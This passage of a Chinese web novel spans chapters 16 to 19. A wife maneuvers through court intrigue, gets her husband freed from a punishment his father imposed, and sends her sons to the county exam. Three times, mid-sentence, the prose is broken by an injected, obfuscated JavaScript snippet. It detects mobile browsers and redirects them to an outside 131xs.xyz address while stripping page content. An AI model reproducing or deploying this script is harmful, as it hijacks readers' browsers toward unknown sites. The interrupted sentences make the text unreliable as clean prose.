其三，朝仪。规范朝会、典礼流程，监百官仪容。 游怜山思索片刻，看秦舒，“这么说，王伽是李元辅亲自挑的？” “正是，”秦舒把唇抿成了一条直线。 游怜山再拱礼，“此番，是镜水给秦尚书添麻烦了，平调之事，容下官再想想。” 这个王伽，横插一脚，抢走了礼部左侍郎的空。 烦人！ 与此同时。 容芝刚接到千家胡同的新消息，尔惑先生说，工部尚书秦舒家正为待婚娶的二公子秦姣寻新宅。要求有二：紧凑型三进院子；价不高于一千两银。 这不巧了？ 容芝看着手中团扇上的、前礼部左侍郎孙慎旧宅，它就是紧凑三进院子，而且只要八百两银。 16. 县试备考（4） 容芝与命生约在不足斋见，但他不是一人赴约，来的还有十年不见的尔惑。 “夫人别来无恙，”尔惑依旧带着半扇银面具，只是嗓音听着更低沉，眼神里的杀戮气也更重了。 “见过先生，”容芝回过神，下意识起身。 等尔惑落座，她将那枚画了画的团扇摆在中间的案上，“既然先生亲自来，想必这次合作又是一场硬仗。” 尔惑并不否认，“夫人是聪明人。” 容芝迫切想知道宅子与谁有关，“请先生明示目标。” “礼部仪制司郎中，王伽。” “此人所犯何罪？和二十三年前的宫殿贪墨案有关？” “对，那案子没完。孙慎旧宅有些明证，能证明王伽贪了一万两。” 这尔惑看着年纪不过三十，却能将这陈年旧案查得如此透彻。 容芝再次叹服他的手眼通天，也再次好奇他的真正身份，“先生你……” 话没出口，尔惑抬眼看了过来。 只此一眼，让容芝想起他之前的屡屡提醒——不可打听他的来历。 “没什么，”容芝端起茶浅呷一口，尝到一丝清苦味。 静默中，听见尔惑问，“你还是想知道，我是谁。” 容芝答，“当然！可我也知道，你不会告诉我。” 尔惑笑，“确实无可奉告。日后必要时候，我会以真面目与夫人相认。” 容芝强打住念头，“还是聊卖宅之事吧。先生手握证据，在此刻，选中工部尚书秦舒爆出来，是有意送游怜山去礼部？为何呢？” 敲了敲案上的手，尔惑说：“这个，也无可奉告。” 容芝接受，却有些烦，“游怜山被你送进礼部，势必进你的棋局，那你又能不能确保游怜山的安全？” 尔惑目光灼灼，“你很在意游怜山的死活？” 容芝笑，“他是我两个孩子的父亲。” 尔惑点点头，“他也是你的夫君。不过，这夫妻之间活到头，通常剩不下多少难舍难分的情。父子之间……也是一样。” 这番话，容芝曾经在另一个人嘴里听过。倏地，婆母邓氏泪涔涔的眼，浮现出来。此外，容芝也想到原著中，那被皇帝活活鞭死的前太子，永远十二岁的炎序。 宫中二位皇子，哪一位更在意前太子炎序。原著中不曾讲述，容芝暂时猜不透。 “你是太子，还是三皇子？”容芝很想这样直接问。但若惹恼了尔惑，无论他是二者之中的谁，都能一脚踩死了她。 保命要紧。 容芝可以压下好奇，却不可不顾即将入局的游怜山，便再向尔惑强调，“我可以配合卖宅，只有一个条件，你要确保游怜山的安全。” 尔惑听完便笑，“游怜山能力何如？能否自保？你没有自信么？有这闲心担忧他，你不如抓紧时间去工部尚书秦家，尽快谈妥卖宅契约。再拖下去，礼部左侍郎定了，对游怜山，对你家孩子，皆是损失。十年前的那碗桃花粥，夫人还记得吧？” 容芝一惊，“你知道李襄害游乘，是受何人指使？” 尔惑道，“我一直知道。但此人事关整个计划，我暂时不能告诉你。眼下，我能提醒你的，唯有‘小心’与‘尽快’。” 袖中的手握成拳，容芝说，“我还有最后一个问题。游怜山被你拉入了局，咱们的合作不必瞒他了吧？” “对此，夫人自便，”尔惑起了身，大约要走。 他看向身后的命生，伸出手，命生将一张银票置于他掌心，“这是合作的佣金，请夫人收下。” 容芝瞧了一眼，竟是五百两，忙摆手，“我确实需要钱，但这太多了。” 尔惑笑道，“多出来的，权当我提前祝贺夫人的两位公子科举顺利。” 工部尚书秦舒家，位于内城，离不足斋不远。 容芝依照尔惑提供的地址，大胆前往秦家拜会秦夫人，并递上了谷之房牙行的腰牌。 秦夫人果然愿意见她，也是爽快性子。待她详细介绍了孙慎旧宅情况与要价，秦夫人只有一点不满意，“毕竟是罪臣的抄没宅，能否再让一百两？” 容芝拿了尔惑的五百两，颇有底气，“没问题。” 买卖契约签好，由容芝带回不足斋。 命生早等在对面茶馆，又过一盏茶的工夫，便盖好了官印，送一份去秦家，另一份在命生的手里留存。 而容芝让给秦夫人的一百两，从命生这儿找补回来。 “夫人办事快又稳，来日再会，”命生留下此话，骑马而去。 容芝站在书局二楼，看落日余晖，心湖难平。 如果事情进展顺利，工部尚书秦舒今晚便能拿到藏在孙宅的信证，整理成奏折，最快明日，朝堂上必掀起腥风血雨。那礼部郎中王伽，活不成了。 但游怜山能否顺利入礼部，尚是未知。 一夜不成眠，容芝好容易熬到次日天明。 睁开眼，游怜山正在外间更衣，她下床，到他身后，递上金荔枝带。 “把你吵醒了？”游怜山接腰带，也握住了她的手。 “今天会有好消息吧？”容芝没抽回手，看他的眼睛。 游怜山亦看着她，“你如此问，想必昨日卖好了宅，那我今日自然能有好消息。” 说完，他转身走出屋门。 容芝赶了他两步，依在檐下，目送他出了东园。 刚才他什么都没问，他竟完全相信她能把一切安排好？可她为何学不来他的自信，心被悬在半空？ 在家中难免乱想，容芝索性去不足斋，与宾客、伙计、老周掌柜说说话。 白日似乎眨眼就结束，上京城迎来了又一个暮色。 容芝估摸时辰正好，让虞次赶马车，去礼部衙门的街口等待。 不多时，游怜山的身影出现，与他走在一起的，正是礼部尚书李经章。 容芝第一次见李经章，只觉此人的举手投足都是平和的、无波澜的，像秋风吹过金黄的稻田。 “妾见过李公。” 女子的话音传来。 李经章半合的眼微微一掀，认出了面前的容氏，“容小君（1），找镜水有事？” 容芝抿笑，福礼，“妾让李公见笑了。” 李经章看向身侧，“镜水，你去吧，有事衙门议。” 游怜山躬送李经章与蒙面幕僚上了马车，才直起腰。 那离开的马车里，李经章将半冷的手炉扔给幕僚，用力地搓搓指尖。 “也没外人，还不摘了脸上玩意儿？”李经章道。 幕僚扯下黑巾，露出右脸竖刀疤，喊了声，“大哥。” 此便是李经章的二弟，江湖混子，李经资。 李经章看不惯那道刀疤，嫌弃地斜一眼，闭目，“今岁年节，李襄会从寒山寺下来？” 李经资点头，“弟弟是如此计划的。游怜山俩孩子要县试，届时有李襄在司宁侯府内应，行事方便些。” 说着，他为李经章奉上换了炭的热手炉。 李经章的手暖过来，神色恢复如常，“还是要小心。” 又道：“李襄对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994854|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那孩子，还很抵触？” “多少有一点。毕竟那孩子是她被强迫……才生下的。” 陈年老帐，李经章是不稀得提起的。 若非那孩子尚小，又与宫中有关，他才不会惯着李襄。可眼下是他有求于李襄，他只能想办法安抚李襄，让她乖乖听话。 李经章冷道，“她回游家前，你亲自去见她，送些她喜欢的笔墨纸砚。就说，是三殿下的心意。重中之重，提醒她别轻举妄动。否则，那孩子身世暴露了，游家三郎和游仁泰不会让她活。她出了那样的丑事，再想回我李家，也不可能。” 李经资颔首，“弟弟知道怎么做。李襄很聪明，她必知她的活路只有一条，不该说的，绝对不敢说。” 回司宁侯府的马车上。 容芝打了个阿嚏，身上一阵阵发冷。 “别是又要感冒？”游怜山脱了披风，盖在她膝上，将她的一双手牵了过去。 自己的身体，容芝最清楚，忧思过重时，根本扛不住病，“你明日休沐，有关卖宅之事，你想打听什么，明日再问我，行不行？我现在头很疼。” “还有什么好问？若你愿意听，我简单说说今日朝堂上的事。” “你说吧。” 容芝脑袋太沉，被游怜山扶到肩上靠着，便随他去。 耳边，游怜山轻声讲道，“二十三年前的宫殿修缮案，今日被工部尚书秦舒翻出来。他提供了几封关键书信，直指礼部仪制司郎中王伽，贪墨一万两银。铁证如山，皇帝当场降罪，王伽双倍赔偿银两，流放三千里。” 容芝感到脸烫，身上悟出了汗，“能不能开个窗？” 她没睁眼，察觉有风拂过，让她些微舒服了些，便问游怜山，“看出来没？工部尚书秦舒，藏得好深。” 游怜山啧了声，“可秦舒是刑部袁至诚的人，他尽心尽力帮我这游家嫡长子周旋出路，安了什么心？” 容芝一语道破，“反李经章的心。” 游怜山默了瞬，才说，“照今日朝局，二十三年前的贪墨案背后的大人物，不知还有多少！但是皇帝似乎不关心真相，一笔笔银子被追回，国库充盈，他乐见大家闹腾，作壁上观！” 容芝又问，“秦舒呢？闹这么一场，他得到什么？” 游怜山笑道，“秦公被皇帝点入了内阁。从前内阁分李经章、袁至诚两派，但李经章是首辅，话语权重些。这下袁至诚多了帮手秦舒，李经章得收敛些了。” 这些复杂的利益勾连，使容芝更云里雾里。她生了病，脑子不够用，马车摇晃还让她想吐。 她迷迷糊糊叮嘱游怜山，“在朝中，你万事小心。” “担心我？” “……” 容芝记不清怎么下的马车，只记得，游怜山一进东园就喊阿桔，快去医馆请大夫。 再醒来，天光暗淡。 容芝看见阿桔便问游怜山在哪儿。 阿桔红着眼眶，愣道：“大爷被老侯爷脱了官服，穿着素衣，跪祠堂去了。” 本朝有律。 侯府嫡长子，身负袭爵职责，若德行有亏，考虑到朝廷观感，常以经济制裁、仕途压制等……替代体罚。 司宁侯游仁泰是大理寺卿，让正三品堂官游怜山，脱官服，穿素衣，跪祠堂，是顶风作案。父子俩不和，吵架也罢，难道游仁泰不怕被政敌弹劾，丢官丢爵？ 容芝这会脑袋清醒，她让阿桔帮她更衣，匆匆跑出东园。她得去救游怜山，去劝游仁泰，不然，还考什么科举，谋什么前程，这一家子，谁也别想好过。 17. 县试备考（5） 虽为侯府嫡长媳，容芝也无法直接去宗族祠堂。故而，她出了东园，由阿桔搀扶前往正院，先去见婆母邓氏。 入了夜，正院门前已点了灯笼，容芝靠站一边，嘱咐阿桔敲门的动作轻些。 又想起游乘游余兄弟俩该散学了，她随手招来个小厮，吩咐跑一趟东园，通知虞次骑马出府迎一下游乘游余，带俩孩子去街上逛一圈，等两个时辰后再回府。 那小厮消失在夜幕里，这边，阿桔也把正院的门敲开了。 丫鬟认出容芝，忙福礼，直说：“大夫人总算来了！” 容芝边往里走边问丫鬟，“老夫人怎样？” 丫鬟哭道：“刚被老侯爷……现下正在屋里难过。” 言语间，到了婆母邓氏的门前，容芝看向南面的书房，亮着灯，估计公爹司宁侯还在气头上，此刻，她万不能上前打扰。 她敲门，听贞嬷嬷在里面问是不是长房家的，便应了声“是”。 屋门没立刻打开。 容芝回头看了眼府门的方向，终究不放心游乘游余，对阿桔说，“要不，你去追虞次？怕他一人应付不来。” 阿桔点了点头，“确实，乘哥儿太有主见，余哥儿太机灵，虞次哪是他俩对手？可大夫人你……” 容芝见她犹豫，将她往院外推，“我没事，先顾孩子。” 正说着，邓氏的屋门打开。 贞嬷嬷走出来，喊了声“小芝”，泪水从眼眶滑落。 容芝的帕子压在了嬷嬷脸上，互相搀扶进了屋。 她听贞嬷嬷说，来侯府十年多，头一次见邓氏这般伤心，便知安抚邓氏的情绪才是此刻首要。 “小芝你来的正好，快帮我梳妆，我要进宫请太后懿旨！” 还没走近，邓氏带哭腔的话音先传了过来。 容芝连忙上前握起邓氏的双手，“母亲，媳妇来晚了。” 邓氏面上挂着泪，语气却决绝，“不晚不晚……今晚都怪我，没劝住你父亲。但咱家这个事儿，也不是没人能管！我现在就进宫见太后！” 容芝抿唇，转头看了看贞嬷嬷，“这，时辰都不早了。” 贞嬷嬷立刻接道，“正是呢！黑灯瞎火，您要在路上磕了碰了，怎么合适？再说，太后这时也休息了，咱侯府自己的事，何必惊扰了她老人家。” 边说，贞嬷嬷也上来压了压邓氏的肩。 邓氏叹气，“你们不让我进宫，又还有什么办法？我的阿怜被脱了官府，着素衣，罚跪祠堂，他爹打算废嫡了啊！还需我解释吗？我命苦的阿怜，三岁开蒙就不得他爹欢心，十九岁考中二甲进士，却被他爹送进了钦天监！如今他靠自己进工部，做了正三品侍郎，他这般优秀，究竟哪一点拿不出手，要被他爹打压、折磨？” 就是太优秀，游怜山才会遭受家族打压、仕途打压。 此理，容芝无法讲出来，也相信在场的邓氏和贞嬷嬷都心知肚明。 “老夫人，您保重身体！”贞嬷嬷将处在绝望边缘的邓氏揽在怀中抱紧。 这时，屋外院中响起纷杂的脚步与孩童的说话声。 容芝一个激灵起身，因为分辨出来人里有游乘、游余。 “母亲。”“母亲。” 容芝反手带上屋门，低声问为首的游乘，“你俩没见着阿桔和虞次？” 游乘的眼睛明显飘向了南面的书房，答道：“家中出了这样的大事，儿子岂能丢母亲一人担惊受怕？” 一把将游乘的脑袋扭回来，容芝捧住他的脸，“学了一整天，饿不饿，累不累？现在你带着游余回东园，好吗？” 游乘摇头，“母亲，我不走，弟弟也不会走，我们是家人，何况父亲还在祠堂……” “娘，”游余上来搂住了容芝，“爹到底做错了什么？” 容芝叹气，低头看着游余，千言万语不能讲，只说，“既然来了，进去看看你们祖母吧。” 俩孩子跟随贞嬷嬷进了里屋。 没一会，邓氏的哭声渐大，容芝忙将屋门关紧了。她双手交握，想了想，叫丫鬟去温两碗羊乳。 南面书房里一直没动静。 容芝唤来管家郑叔，请他进去为游仁泰送羊乳。郑叔回来，说，老侯爷在看卷宗，根本没理那碗羊乳，这心意是浪费了。 “哪会浪费？”容芝接过丫鬟准备的第二碗羊乳，亲自端到婆母邓氏面前。 贞嬷嬷见了羊乳，夸容芝有心，对邓氏说，“这是晌午从宫里送来的，太后心里记挂着老夫人呢。来，您把它喝了，好好睡一觉。兴许到明日，老侯爷消了气，就与大爷和好了。” 邓氏怎可能相信这话。 但她哭了许久，口渴是真的，便一口口喝完了羊乳，却没松开眉头，“阿怜与他父亲，怕是一辈子和不好了。” 说完她好不容易止住的眼泪又要下来。 容芝挪开桌上的空碗，挨着邓氏坐，半揽过她的肩，与她额头相碰，含混地喊道，“母亲啊。” 邓氏含着泪问道：“小芝可想到好办法了？” 容芝为她抹去眼泪，说，“眼下这情形，只有母亲能救了。” “什么办法？” “儿媳听丫鬟说，父亲回府之后还没用晚膳，刚才让郑伯去书房送羊乳，得知父亲还在看卷宗。父亲为了朝廷，真真是废寝忘食，殚精竭虑了。” 邓氏微怔，终于领悟，“你想让我去书房看看他？” 容芝笑着点头，“母亲若愿意，可顺便把食盒带给父亲。” 她示意丫鬟呈上备好的晚膳，全是游仁泰平日喜欢的菜式。 忽地，邓氏看笑，而后长叹一声，将食盒提在了手里，“瞧见没？这满院的人，唯有小芝看懂了老侯爷的心！” 话音落下，丫鬟、嬷嬷、小厮都自觉垂下了头。 贞嬷嬷吩咐大家先散了，正要跟上邓氏往南面书房的脚步，被容芝急急叫住。 “嬷嬷陪媳妇坐会儿吧？” 容芝拍了拍身边的空椅，“父亲平时公务忙，难得有机会与母亲单独相处，肯定有许多私话要说。” 贞嬷嬷这下反应过来，因笑道，“大夫人说的正是。” 可是让邓氏出面稳住游仁泰，也并没有十成的把握。 容芝还得走第二个计划，便看向一边沉默的游乘、游余，“你俩现在去北园找四伯。” 贞嬷嬷道：“找四爷？何用？他在这侯府也说不上什么话。” 容芝想了想，“四爷毕竟是侯府直系男，由他出面，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994855|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是比我等女眷方便。” 又继续吩咐游乘，“你去时带些奶酥给你四伯母和雅妹妹，别吓着她俩。” “母亲，我懂，”游乘正要出门，外面先跑进个孩子，竟是游雅。 游雅喊声“大伯母”，扑进容芝怀中。 接着，丫鬟来报，说：都察院左御史刘家小公子在院中求见。 “都察院左御史？！” 贞嬷嬷起身，白着脸看院中，“大爷在祠堂罚跪，刘家这时来人，莫非要抓老侯爷‘虐子’的现行？” 此话可小可大，游乘和游余年纪不小，已懂其中利害关系，二话不说，先冲去院中，要将意外到访的朋友刘与之轰出去。 容芝被落在后面，只好压着嗓子喊道，“刘小公子。” 月色下，刘与之怔了瞬，拱手道，“晚辈见过大夫人。” 容芝回笑，温声问，“小公子到访，是找他哥俩儿讨论文章吧？那还请去东园相谈。” 刘与之慢了半拍，说，“此来确是有事与介舟（1）、彦维（2）谈，劳请大夫人带路东园。” 一行人正要转身，却听游雅从里屋跑出来，一把拉住刘与之的手，哭着不让他走。 刘与之无奈，“雅妹妹要与我一起去东园？” 游雅摇头，抽噎道，“不是，不是！子应哥哥（3），你快救救我大伯！我大伯他——唔唔—唔—” 不用容芝上手，游余先捂了游雅的嘴，直接把她抱起来，“太晚了，我送丫丫回北园，稍后就到。” 几人继续往东园走。 容芝走着路，看那刘与之是一脸木然，悄悄推了下游乘。 游乘清清嗓子，“子应，你刚站在院中，应是听出不对劲了。” 刘与之转身，“……你父亲出了何事？” 游乘没回答，看了看容芝，“母亲，子应不是多舌看戏之人，兴许，他还能帮上忙。” 容芝彻底败给儿子游乘，对刘与之道，“此事和子应无关，这便让人送子应离开。” 谁知，刘与之拱手再行礼，“大夫人放心，今晚所见，子应一个字都不会讲出去。子应还想问一问，游大伯遇上什么麻烦事？若子应能帮，定不推辞。” 容芝望天，只说，“还是不麻烦子应了。” 却听刘与之坚持，“游大伯之难，关乎老侯爷么？” 容芝侧目看他，“时辰真不早了，子应再不回家，你父亲会着急的。” “大夫人这般客气，便是没把子应看作他兄弟俩的朋友吧？”刘与之的嗓音些微拔高，似乎带了怨怒。 容芝只好苦笑，“真不必麻烦的……但若子应有心，伯母便斗胆向子应要一个人，不知能不能？” 刘与之拍拍胸口，“您只管说。” 容芝道，“要借一位都察院……监察御史，正七品官。” 刘与之诧然，“何用？” 容芝坦言，“素来听闻，监察御史品级低，但权力大，有‘七品青袍可缚紫蟒’的传言，不知真假。” 刘与之仍未懂，“您意思是？” 身侧，传来游乘的解释，“子应还没听懂？我娘是想找个监察御史，弹劾我祖父。” 刘与之听言，面上一僵，“当真？！” 18. 县试开考 “不是，也是。” 容芝这个回答，不免叫俩少年疑惑。 可是隔墙有耳，再往深处的内容，要关起院门、屋门，压低声音，才敢详谈。 东园安静，容芝在昏暗的角落发现阿桔和虞次挨在一处。她一探鼻息，还活着，便松了口气。 游乘道，“母亲别担心，用了点迷香而已。” 容芝缓缓站直，转回头，看着他，“……迷香是从哪里来的？” “是游余身上的，他说，为了不时之需。” 游乘说着喊了声子应，刘与之回了神，二人合力，将虞次架起来。 容芝目送他俩去了后院，长叹一声，交代丫鬟，带阿桔下去。 忽听院门打开，游余哼着小曲跑来，到她身前恭敬作揖，“母亲！” “小子挺有本事啊。” 容芝把这孩子从上到下打量了一遍，最后扯开他的腰带，一只布口袋掉在了地上。 她闻了闻掏出来的纸包，瞬间拿远，“随身带迷香，你要防谁？袁家有人欺负你？怎么没告诉我呢？” 游余被抱在怀中，迟缓地‘啊’了声，尾音上扬。 游乘从后院回来，看到的就是这母慈子孝的一幕。 刘与之埋着头，猛地撞在他后背，一屁股跌下去，“……” “子应？怎么这么不小心，”游乘向刘与之伸手。 刘与之将他的手拍开，笑着爬起来，用下巴轻点还相拥着的温情母子，“原来，介舟也会羡慕别人？” 游乘摇头，“她也是我母亲，有何可羡慕？” 又抱起手臂，转回正题，“我父亲与祖父不和，想必子应早有耳闻。可我母亲素日柔顺，不喜与人冲突，她今晚找你借监察御史，恐不是要真的弹劾我祖父。” 刘与之拍拍手上的灰，口气平和，“其实，伯母的纠结，我看得懂的。历来，君为臣纲，父为子纲，夫为妻纲。在君父夫面前，臣子妻，向来处在道德劣势。他们想为自己反抗、辩解，还不等开口，先被外人的口水淹死。哪怕他们没有做错。” 游乘的舌尖顶住后牙槽，“对，哪怕他们没有做错……但他们试图反抗、争辩，就错了么？” 幼年遭遇，不该在这时被他想起的。 那些回忆在游乘心里积淀而成的陈痕，似乎永远不可能消失了。 “生而为人，合群而居。若你不合群，终困于自苦，是不可渡的。介舟，这没必要。我认识的介舟，也绝不是这样的人。” “在子应心里，我该是怎样的人？”游乘转过头，问道。 他目光直白、坦荡，让刘与之无法避开。 片刻，刘与之看着他的眼睛，笑道，“介舟是朝日一般的人，时刻握刀，所向披靡，无人可敌。” 游乘听笑了，“子应谬赞，再擅跑的千里马也会累。” 刘与之卷起袖子，“你倒了，我会跑下去。” 两个相似的人并肩，仿佛在与镜中的自己对话。 世间万万人，游乘在袁家读书十年，真正结识的朋友也不过一个刘与之。 “我母亲所托，还请子应尽快落实。” “介舟放心，最晚明日，监察御史便会上门，气势不够的话，我再去六科的礼科找一位给事中。” “双管齐下？那更好。” 计划谈妥，游乘到母亲容氏跟前，说子应准备回家。 “那你……替母亲送送子应，”容芝要来丫鬟手上的灯笼，递给游乘，也冲刘与之微微一点头。 刘与之拱手，“子应家中有事，改日再来叨扰伯母。” “慢走，”容芝做个请。 游乘提起灯笼，走在前面。 “哥哥，”游余喊道，追上去小声问，“监察御史的事儿，需要我做什么？” 游乘想了想，“还确实离不开你。明日祖父和叔伯都休沐在家，咱们计划开始后，你尽力煽动气氛，越大越好。不过，此事只能发生在游家家宅之内。哦，还有……你转告虞次，必须确保监察御史和礼部给事中的人身安全。” 游余闻言摇头，“我感觉，虞次做不到。” 游乘点他的眉心，“他做不到，不还有你这可靠帮手？” “大哥认为，我，可靠？”游余歪着脑袋。 刘与之笑道，“我听你大哥是这意思。好了，去陪你母亲。一晚上跑前跑后，她定累得不轻。” 次日种种，皆如游乘所谋。 那请来的监察御史，伙同礼部给事中，一早就登了司宁侯府的门，说有人检举老侯爷游仁泰，私刑朝廷命官。他二人见了游家大爷游怜山，才可让此谣言不攻自破。 游仁泰是大理寺卿，最推崇“国有法度”，便悄悄吩咐管家去祠堂请人。 容芝等在东园，终于等到游怜山回来。 正院有贵客，时辰拖不了太久。容芝只能给游怜山处理最紧要的膝盖伤，但她没想到，他膝盖竟被碎陶片扎破了皮，又红又肿地渗着血。 “光看着可怕，但我不跪就不疼了，”游怜山自己抹药膏，简单包扎，“死不了的。” 容芝无意与他争执，把阿桔熬好的热汤端给他，看着他喝完的同时，简要解释了稍后的计划。 游怜山明白了该怎么做，临走前替容芝抹了泪。 “小芝别难过，我被罚跪，与你无关的。” “就是我的错，我不该听尔惑的，不该拉你入局，不该暗示你去礼部！是我太着急，才害了你。” “可我爹罚我，是因他看不惯我。哪怕我没去礼部，没争取到左侍郎之位，他还是一样看不惯我，一样想方设法，挑我的错处。” “所以，你不怪他？” “当然怪！但我更可怜他。他堂堂大理寺卿，被人利用了，还浑然不觉呢。” 容芝没跟上他脑回路，“何以有此结论？谁利用他？” 游怜山面沉了下去，语气冰冷，“我抢走礼部左侍郎之位，坏了李经章的大事，他怎会善罢甘休。虽不知具体，李经章肯定找我爹吹风，挑拨离间了。” 容芝喃道，“李经章背地暗害，表面又和气融融，怪不得他是内阁首辅。” 游怜山闭了闭眼，“他绝非善类，我现在最怕的是……他除了要对付我，还可能向游乘、游余下手。” “不行，”容芝握起拳头。 谁也不能动她的孩子，尤其谁也不能动她的游乘。 “二月县试开考，出门在外，他俩不可离开虞次的视线。但是阿怜，暗箭难防啊。” “他哥俩聪明得很！见招拆招，吃亏的还不知是谁。如果李老头伤了我孩子，我搭上一辈子也会让他偿还。” 半个时辰过去，游怜山来到正院，全须全尾现了身。 监察御史和礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004868|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部给事中见了他，当场写好实勘复文，还“司宁侯游仁泰”清白，告了辞。 “大郎送送两位同僚，”游仁泰冷着面吩咐。 破天荒的，游怜山照他的意思做了。 后来他回东园，与容芝讲起当时心境，才察觉到一件事。他好像无形中放下了对游仁泰的仇视。 容芝在针线篮里挑拣，拿起把剪刀，细刃在烛光里闪烁，“既已知道他是李经章的棋子，你再耗费心力，恨一颗棋子，毫无意义。” 夫妻俩正说话，游乘与游余进来，给父母问安。 今日在正院多亏游余从旁煽风点火，司宁侯游仁泰意识到严重性，有所忌惮，这才将游怜山从祠堂放出。 “大恩不言谢，父亲不必念儿子的好，是儿子该做的。” “你小子！” 游怜山抄起棉线卷要揍人，吓得游余躲去游乘身后，游乘自然地张开手臂，为游余遮挡。 看父子仨闹腾，容芝憋着笑缝完最后一针，对游乘招手，让他来试试她新做成的风帽。 冬日的上京城，肃冷萧索。 游乘的手指轻拈那顶棉帽，摸出棉布的粗粝与厚实，也收到了母亲容氏的关心与照顾。 自游乘三岁记事，容氏给他的衣食住行，样样比游余的好。他能回报容氏什么？唯有努力读书，科举，尽早撑起司宁侯府的天，让容氏少操心，脸上多笑容。 “低头，让我看看。” 容芝的手从风帽移到游乘的脸颊，如幼时一般轻掐了下，“大小是合适的，颜色也衬你肤色。你先戴，我再给你弟做。” 这话被游余本人听了，似故意夸张地哼了声，“娘好偏心，不行，这次我就要先戴！”说着扒走那帽子，从门口跑出去。 对此，游怜山耸肩，夹着没看完的书回了里屋。 容芝和游乘更不可能去追，便都坐着没动。 游余自己绕院子跑了两圈，觉得没劲，停了下来。 他见游乘站在门前，游乘对他说，“弟弟喜欢就拿去，我可以等母亲再做一顶。” 容芝从他身后出来，“那不行，这顶是给你的。游余！快还给你哥！” 游余自来熟，有人与他对台他更来劲儿，“我就不给，来追我啊。” “你都十岁了，这么小家子气吗？”容芝跑下了石阶。 游乘跟着她跑，盯着她的鞋，怕她摔倒怕她受伤，“母亲您慢些，我愿意让给弟弟，真的……” 回廊下，游余抱着柱子，探头笑，“哥哥大方，把二月县试榜首也让给我？” 二月春风慢，县试在县学开考。 游乘游余先到，稍待片刻，等刘与之从自家马车跳下来，与他二人结伴，穿行过人群。 前方，穿便服的虞次左右检查，双目炯炯有神。 而除了他，人群里还有四五个暗卫隐藏，随时待命。 “听说今岁县试为勋贵子弟另设‘官卷’，题目简单些。” “可身份这东西，爹娘给的，你抱怨有何用？” “喏，那三位小公子？最高那位是左都御史刘家的，另二位是大理寺卿游家的。他仨没去国子监搞特殊，和咱考一样的题！” “勋贵人家最会装。等放榜，你猜，他仨排第几？又在不在那榜上？” “唉呀，赵兄五库之才，楚中无双，来日必定夺锦（1）！” 19. 县试第一场结束 “哥，我肚子有点疼。” 游乘的胳膊被游余拉了下。他回头，见游余皱着眉不似在玩笑，便冲不远处咳了一声。 虞次跑来问是何事，又说，“前头队伍在动，很快就能入场。” “现在找大夫，怕来不及了……” 游乘将游余往身边拉近，对准他的虎口合谷穴规律按压，一边问他，“好些没？” 游余点点头，“哥你什么时候偷学了医？” 游乘松开他的手之前，特意放慢动作，好让他记下来，“娘教我的。一会入场要再疼，你按这个手法自己来。” “伯母教介舟的？”刘与之似乎听出异样，“怕不是介舟从前也闹过肚疼，来不及就医？” 游乘看向刘与之，“小孩身弱，母亲不得已出手救急，也是常事。” 刘与之笑道，“我是羡慕介舟！因为家里孩子多，我幼年由奶娘照顾，少与母亲亲近。现在长大，便更难与母亲亲近了。” 回想那日在东园，刘与之曾问他是否羡慕游余，原来那时心生羡慕的是刘与之自己。 游乘听见身后有人跑动，边回头，边对刘与之道，“哪有母亲不亲孩子？子应定也是被母亲放在心坎上的珍宝。” 刘与之说，“但愿吧。” 那路边，多了一架司宁侯府的马车。 车顶用的是流苏宝盖，色调斑斓，不似游乘、游余出行用的黑漆半敞车。 “来的是不是雅妹妹？”刘与之认出那一蹦一跳的小团子。 游余一听忙直起腰，清清嗓子，好整以暇。 游乘自然也认出游雅，侧目看了眼虞次，“此处人多口杂，不是她该来的。” 虞次领命，“属下这就请二姑娘回府。” 游余却叫住他，提醒道，“丫丫好像还带了东西，哥，时辰来得及，咱等等她吧。” 游乘没说同意，便是默认了。虞次退回人群继续待命。游余和刘与之一同迎上去，一人帮拿食篮，一人将游雅抱起来，走回游乘面前。 “乘哥哥，”游雅下了地，有模有样地福礼。 游乘笑道，“雅妹妹。” 游余打开她带的食篮，从里面捧出一罐温热的药，惊讶道，“丫丫真灵，怎知我会不舒服？是肚疼药么？” 那罐子被游乘拦走，送去虞次手里。虞次悄悄用银针检查，确认无毒才还给游余。 游雅凑到游余耳边，“二哥哥，这是大伯母让丫丫送的。” 一番话惹得游余更惊讶，但见哥哥游乘一脸平静，似早料到了母亲送药。游余立刻明白，便对刘与之说，“看来子应哥哥猜对了，大哥从前的确有过类似的肚疼经历。” 游乘推游余的手腕，“你赶紧喝药，喝完该进场了。” 药汁温热宜入口，游余放下空罐子，摸摸游雅的小脸，“今日多亏了丫丫。” 